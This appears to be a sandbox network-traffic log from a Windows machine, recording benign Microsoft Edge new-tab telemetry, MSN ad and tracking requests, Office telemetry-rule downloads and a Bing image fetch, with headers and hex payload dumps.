2024-11-20 17:57:52 UTC	1012	OUT	GET /b2?rn=1732125470383&c1=2&c2=3000001&cs_ucfr=1&c7=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2Btab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp%26mkt%3Den-us&c8=New+tab&c9=&cs_fpid=28E93D09C21660CD09BC2834C3746145&cs_fpit=o&cs_fpdm=null&cs_fpdt=null HTTP/1.1 Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: UID=1F33e57f5ba9e94c00145101732125471; XID=1F33e57f5ba9e94c00145101732125471
2024-11-20 17:57:53 UTC	326	IN	HTTP/1.1 204 No Content Connection: close Date: Wed, 20 Nov 2024 17:57:53 GMT Accept-CH: UA, Platform, Arch, Model, Mobile X-Cache: Miss from cloudfront Via: 1.1 a7c9fe7eb79f698774d5b4dbc632cf68.cloudfront.net (CloudFront) X-Amz-Cf-Pop: JFK52-P1 X-Amz-Cf-Id: R_PWALLtPVOwpVZJRT1606FPYTR4__xJXwu21CbqsPwVY07V5UijTA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49894	23.96.180.189	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	1067	OUT	GET /v4/api/selection?nct=1&fmt=json&nocookie=0&locale=en-us&country=US&muid=28E93D09C21660CD09BC2834C3746145&ACHANNEL=4&ABUILD=117.0.5938.150&clr=esdk&edgeid=5518710994624701133&ADEFAB=1&devosver=10.0.19045.2006&OPSYS=WIN10&poptin=0&UITHEME=light&pageConfig=547&ISSIGNEDIN=0&MSN_CANVAS=2&ISMOBILE=0&BROWSER=6&placement=88000308\|10837393&bcnt=1\|1&asid=12e7dc2a41054bf390ce02078e76ea9f HTTP/1.1 Host: arc.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1
2024-11-20 17:57:53 UTC	674	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Length: 297 Content-Type: application/json; charset=utf-8 Expires: Mon, 01 Jan 0001 00:00:00 GMT Server: Microsoft-IIS/10.0 ARC-RSP-DBG: [{"DcoPlusDebug":"Status: Ok"},{"RADIDS":"2,,"},{"OPTOUTSTATE":"256"},{"REGIONALPOLICY":"0"}] Accept-CH: UA, UA-Arch, UA-Full-Version, UA-Mobile, UA-Model, UA-Platform, UA-Platform-Version Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Allow-Credentials: true X-AspNet-Version: 4.0.30319 X-Powered-By: ASP.NET Strict-Transport-Security: max-age=31536000; includeSubDomains Date: Wed, 20 Nov 2024 17:57:52 GMT Connection: close
2024-11-20 17:57:53 UTC	297	IN	Data Raw: 7b 22 62 61 74 63 68 72 73 70 22 3a 7b 22 76 65 72 22 3a 22 31 2e 30 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 38 38 30 30 30 33 30 38 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 4e 5f 70 73 2c 20 45 72 72 6f 72 3a 20 4e 6f 20 65 6c 69 67 69 62 6c 65 20 63 6f 6e 74 65 6e 74 2e 29 2e 22 7d 5d 7d 2c 7b 22 70 6c 61 63 65 6d 65 6e 74 22 3a 22 31 30 38 33 37 33 39 33 22 2c 22 65 72 72 6f 72 73 22 3a 5b 7b 22 63 6f 64 65 22 3a 32 30 34 30 2c 22 6d 73 67 22 3a 22 44 65 6d 61 6e 64 20 73 6f 75 72 63 65 20 72 65 74 75 72 6e 73 20 65 72 72 6f 72 20 28 4e 61 6d 65 3a 20 47 Data Ascii: {"batchrsp":{"ver":"1.0","errors":[{"placement":"88000308","errors":[{"code":2040,"msg":"Demand source returns error (Name: GN_ps, Error: No eligible content.)."}]},{"placement":"10837393","errors":[{"code":2040,"msg":"Demand source returns error (Name: G

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49893	13.69.116.107	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	1082	OUT	POST /OneCollector/1.0?cors=true&content-type=application/x-json-stream&client-id=NO_AUTH&client-version=1DS-Web-JS-3.2.8&apikey=0ded60c75e44443aa3484c42c1c43fe8-9fc57d3f-fdac-4bcf-b927-75eafe60192e-7279&upload-time=1732125470381&time-delta-to-apply-millis=use-collector-delta&w=0&anoncknm=app_anon&NoResponseBody=true HTTP/1.1 Host: browser.events.data.msn.com Connection: keep-alive Content-Length: 3802 sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://ntp.msn.com Sec-Fetch-Site: same-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: _C_ETH=1; USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1
2024-11-20 17:57:53 UTC	3802	OUT	Data Raw: 7b 22 6e 61 6d 65 22 3a 22 4d 53 2e 4e 65 77 73 2e 57 65 62 2e 50 61 67 65 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 22 32 30 32 34 2d 31 31 2d 32 30 54 31 37 3a 35 37 3a 35 30 2e 33 37 34 5a 22 2c 22 76 65 72 22 3a 22 34 2e 30 22 2c 22 69 4b 65 79 22 3a 22 6f 3a 30 64 65 64 36 30 63 37 35 65 34 34 34 34 33 61 61 33 34 38 34 63 34 32 63 31 63 34 33 66 65 38 22 2c 22 65 78 74 22 3a 7b 22 73 64 6b 22 3a 7b 22 76 65 72 22 3a 22 31 44 53 2d 57 65 62 2d 4a 53 2d 33 2e 32 2e 38 22 2c 22 73 65 71 22 3a 31 2c 22 69 6e 73 74 61 6c 6c 49 64 22 3a 22 30 34 34 37 63 32 30 38 2d 39 38 62 62 2d 34 30 63 66 2d 39 32 35 36 2d 62 30 39 36 65 33 32 39 37 36 32 33 22 2c 22 65 70 6f 63 68 22 3a 22 32 33 39 30 35 35 37 31 33 38 22 7d 2c 22 61 70 70 22 3a 7b 22 6c 6f 63 61 6c 65 Data Ascii: {"name":"MS.News.Web.PageView","time":"2024-11-20T17:57:50.374Z","ver":"4.0","iKey":"o:0ded60c75e44443aa3484c42c1c43fe8","ext":{"sdk":{"ver":"1DS-Web-JS-3.2.8","seq":1,"installId":"0447c208-98bb-40cf-9256-b096e3297623","epoch":"2390557138"},"app":{"locale
2024-11-20 17:57:53 UTC	890	IN	HTTP/1.1 204 No Content Content-Length: 0 Server: Microsoft-HTTPAPI/2.0 Strict-Transport-Security: max-age=31536000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" Set-Cookie: MC1=GUID=e39e3fa3dd5a470f9b46619c1c39c9fa&HASH=e39e&LV=202411&V=4&LU=1732125473340; Domain=.microsoft.com; Expires=Thu, 20 Nov 2025 17:57:53 GMT; Path=/;Secure; SameSite=None Set-Cookie: MS0=9ff40db3feaa458b916b0626d3e6f719; Domain=.microsoft.com; Expires=Wed, 20 Nov 2024 18:27:53 GMT; Path=/;Secure; SameSite=None time-delta-millis: 2959 Access-Control-Allow-Headers: P3P,Set-Cookie,time-delta-millis Access-Control-Allow-Methods: POST Access-Control-Allow-Credentials: true Access-Control-Allow-Origin: https://ntp.msn.com Access-Control-Expose-Headers: time-delta-millis Date: Wed, 20 Nov 2024 17:57:52 GMT Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port
117	192.168.2.6	49896	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	192	OUT	GET /rules/rule120670v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:53 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91EAD002" x-ms-request-id: bfe6dbcf-201e-006e-678c-3abbe3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175753Z-1777c6cb754j47wfhC1TEB5wrw00000005u0000000008nqt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:53 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120670" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
118	192.168.2.6	49897	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	192	OUT	GET /rules/rule120671v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:53 GMT Content-Type: text/xml Content-Length: 432 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:15 GMT ETag: "0x8DC582BAABA2A10" x-ms-request-id: de17e165-601e-0002-3161-3ba786000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175753Z-185f5d8b95cqnkdjhC1NYCm8w80000000aeg00000000f2qy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:53 UTC	432	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 53 73 5d 5b 55 75 5d 5b 50 70 5d 5b 45 65 5d 5b 52 72 5d 5b 4d 6d 5d 5b 49 69 5d 5b 43 63 5d 5b 52 72 5d 5b 4f 6f 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120671" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120669" /> <SR T="2" R="^([Ss][Uu][Pp][Ee][Rr][Mm][Ii][Cc][Rr][Oo])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T

Session ID	Source IP	Source Port	Destination IP	Destination Port
119	192.168.2.6	49898	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	192	OUT	GET /rules/rule120672v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:53 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:53 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA740822" x-ms-request-id: 9cb1ed33-701e-0021-398c-3a3d45000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175753Z-185f5d8b95c4bhwphC1NYCs8gw0000000akg000000014k18 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:53 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120672" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
120	192.168.2.6	49904	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	192	OUT	GET /rules/rule120673v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:53 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:31 GMT ETag: "0x8DC582BB464F255" x-ms-request-id: 5c5a59ff-301e-003f-5b8c-3a266f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175753Z-185f5d8b95c4vwv8hC1NYCy4v40000000ap000000000tc8m x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:54 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 54 74 5d 5b 48 68 5d 5b 49 69 5d 5b 4e 6e 5d 5b 50 70 5d 5b 55 75 5d 5b 54 74 5d 5b 45 65 5d 5b 52 72 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120673" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120671" /> <SR T="2" R="([Tt][Hh][Ii][Nn][Pp][Uu][Tt][Ee][Rr])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.6	49906	20.110.205.119	443	504	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	1261	OUT	GET /c.gif?rnd=1732125470382&udc=true&pg.n=default&pg.t=dhp&pg.c=547&pg.p=anaheim&rf=&tp=https%3A%2F%2Fntp.msn.com%2Fedge%2Fntp%3Flocale%3Den-GB%26title%3DNew%2520tab%26dsp%3D1%26sp%3DBing%26isFREModalBackground%3D1%26startpage%3D1%26PC%3DU531%26ocid%3Dmsedgdhp&cvs=Browser&di=340&st.dpt=&st.sdpt=antp&subcvs=homepage&lng=en-us&rid=ccd0fd7b3902437281037ab16e9a62fd&activityId=ccd0fd7b3902437281037ab16e9a62fd&d.imd=false&scr=1280x1024&anoncknm=app_anon&issso=&aadState=0&ctsa=mr&CtsSyncId=F4F88F636E6E4E9EBBDD3FA481D47ECA&MUID=28E93D09C21660CD09BC2834C3746145 HTTP/1.1 Host: c.msn.com Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8 Cookie: USRLOC=; MUID=28E93D09C21660CD09BC2834C3746145; _EDGE_S=F=1&SID=318808FB6BD96B0E0D161DC66A5C6A22; _EDGE_V=1; SM=T
2024-11-20 17:57:54 UTC	983	IN	HTTP/1.1 200 OK Cache-Control: private, no-cache, proxy-revalidate, no-store Pragma: no-cache Content-Type: image/gif Last-Modified: Wed, 16 Oct 2024 16:24:13 GMT Accept-Ranges: bytes ETag: "8d3dafd6e71fdb1:0" Server: Microsoft-IIS/10.0 X-Powered-By: ASP.NET P3P: CP="BUS CUR CONo FIN IVDo ONL OUR PHY SAMo TELo" Set-Cookie: SM=C; domain=c.msn.com; path=/; SameSite=None; Secure; Set-Cookie: MUID=28E93D09C21660CD09BC2834C3746145; domain=.msn.com; expires=Mon, 15-Dec-2025 17:57:53 GMT; path=/; SameSite=None; Secure; Priority=High; Set-Cookie: SRM_M=28E93D09C21660CD09BC2834C3746145; domain=c.msn.com; expires=Mon, 15-Dec-2025 17:57:53 GMT; path=/; SameSite=None; Secure; Set-Cookie: MR=0; domain=c.msn.com; expires=Wed, 27-Nov-2024 17:57:53 GMT; path=/; SameSite=None; Secure; Set-Cookie: ANONCHK=0; domain=c.msn.com; expires=Wed, 20-Nov-2024 18:07:53 GMT; path=/; SameSite=None; Secure; Date: Wed, 20 Nov 2024 17:57:53 GMT Connection: close Content-Length: 42
2024-11-20 17:57:54 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port
122	192.168.2.6	49905	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:53 UTC	192	OUT	GET /rules/rule120674v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 17:57:54 UTC	470	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 17:57:54 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA4037B0D" x-ms-request-id: 4f8e9926-c01e-00ad-7c8c-3aa2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T175754Z-r1d97b99577kk29chC1TEBemmg000000098000000000c3d6 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 17:57:54 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120674" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120673" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.6	49907	150.171.27.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 17:57:54 UTC	375	OUT	GET /th?id=OADD2.10239317301274_1PA1BJMKSSMY4Z5BP&pid=21.2&c=16&roil=0&roit=0&roir=1&roib=1&w=1920&h=1080&dynsize=1&qlt=90 HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.19045 Host: tse1.mm.bing.net Connection: Keep-Alive
2024-11-20 17:57:55 UTC	854	IN	HTTP/1.1 200 OK Cache-Control: public, max-age=2592000 Content-Length: 608336 Content-Type: image/jpeg X-Cache: TCP_HIT Access-Control-Allow-Origin: * Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET, POST, OPTIONS Timing-Allow-Origin: * Report-To: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://aefd.nelreports.net/api/report?cat=bingth&ndcParam=QUZE"}]} NEL: {"report_to":"network-errors","max_age":604800,"success_fraction":0.001,"failure_fraction":1.0} Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Mobile, Sec-CH-UA-Model, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version X-MSEdge-Ref: Ref A: BD0F14B8CE3B4E0ABB972DD2D7EEFD81 Ref B: EWR30EDGE0910 Ref C: 2024-11-20T17:57:54Z Date: Wed, 20 Nov 2024 17:57:53 GMT Connection: close
2024-11-20 17:57:55 UTC	15530	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 01 01 00 48 00 48 00 00 ff e1 00 da 45 78 69 66 00 00 4d 4d 00 2a 00 00 00 08 00 07 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 62 01 1b 00 05 00 00 00 01 00 00 00 6a 01 28 00 03 00 00 00 01 00 02 00 00 01 31 00 02 00 00 00 1f 00 00 00 72 01 32 00 02 00 00 00 14 00 00 00 92 87 69 00 04 00 00 00 01 00 00 00 a6 00 00 00 00 00 00 00 60 00 00 00 01 00 00 00 60 00 00 00 01 41 64 6f 62 65 20 50 68 6f 74 6f 73 68 6f 70 20 32 33 2e 34 20 28 57 69 6e 64 6f 77 73 29 00 00 32 30 32 32 3a 30 38 3a 30 34 20 32 31 3a 32 34 3a 34 36 00 00 03 a0 01 00 03 00 00 00 01 ff ff 00 00 a0 02 00 03 00 00 00 01 07 80 00 00 a0 03 00 03 00 00 00 01 04 38 00 00 00 00 00 00 00 00 ff db 00 43 00 04 02 03 03 03 02 04 03 03 03 Data Ascii: JFIFHHExifMM*bj(1r2i``Adobe Photoshop 23.4 (Windows)2022:08:04 21:24:468C
2024-11-20 17:57:55 UTC	16384	IN	Data Raw: 6f 5a 6b 29 da c4 ff 00 f6 35 a5 24 27 cc f2 c4 5f 7b ff 00 1e a7 be 8f 78 eb 9f 2b e5 ff 00 1a 77 45 72 be 86 26 1c b6 16 a5 8e 02 5b 3f 7b fd da d8 87 45 b8 dd f7 59 8f fb 35 7a 3d 37 c8 da 87 6f 99 4f 9e 3d c1 45 9c de cd bc 0f fc 7a 85 5c 2a e3 ad 6b 5d 69 73 3c d9 4e 8c df c5 f2 d4 df d8 e9 14 7f bd 6d a7 6e 77 35 1c c8 39 59 85 8c 2f bb 7f 0f f7 69 c8 31 d6 a5 b9 f2 c3 36 c4 e3 a2 d4 2f 29 55 fb bf f7 d5 1c c2 4a e4 a9 21 0b fd d1 51 f2 5b 9a af 35 d0 0d 8f ef 7f c0 6a 35 bd 01 b9 f9 ba d4 96 5a c7 cb fe ed 36 42 02 f1 f3 6e fb b5 4d ef b3 c0 fe 25 a4 4b 8d cd 96 ea dc 7f 9f 4a 68 0b 0c 4b af 1f 76 85 04 37 f7 85 46 d3 7a 7f df 34 46 f9 65 5f bd 56 67 7b 93 e0 8d bf f8 eb 50 8b 96 fd 7e f5 39 